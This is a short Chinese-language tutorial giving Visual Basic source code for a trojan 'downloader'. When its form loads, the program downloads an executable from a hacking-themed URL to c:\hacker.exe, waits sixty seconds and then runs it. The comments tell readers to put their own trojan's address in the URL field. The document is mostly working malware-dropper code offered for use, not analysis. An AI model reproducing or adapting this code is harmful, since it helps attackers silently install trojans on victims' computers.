VB编写最简单的下载者
下面是用VB写的最简单的下载者源代码。说最简单是因为只用到两个核心的API函数,那就是URLDownloadToFile和ShellExecute,前者用来下载,后者用来执行。中间的Sleep是休眠函数,大家自己发挥。
Private Declare Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long
Private Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long
Private Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long) 'API函数声明。
Private Sub Form_Load()
URLDownloadToFile 0, "http://www.hack0573.com/hack.exe", "c:\hacker.exe", 0, 0 '第2个参数是你的木马地址,第3个是保存的位置,其他默认就可以。
Sleep 60000 '单位是毫秒,我这里是挂起60秒,即60秒后运行。
ShellExecute 0, vbNullString, "c:\hacker.exe", vbNullString, vbNullString, vbNormalFocus
End
End Sub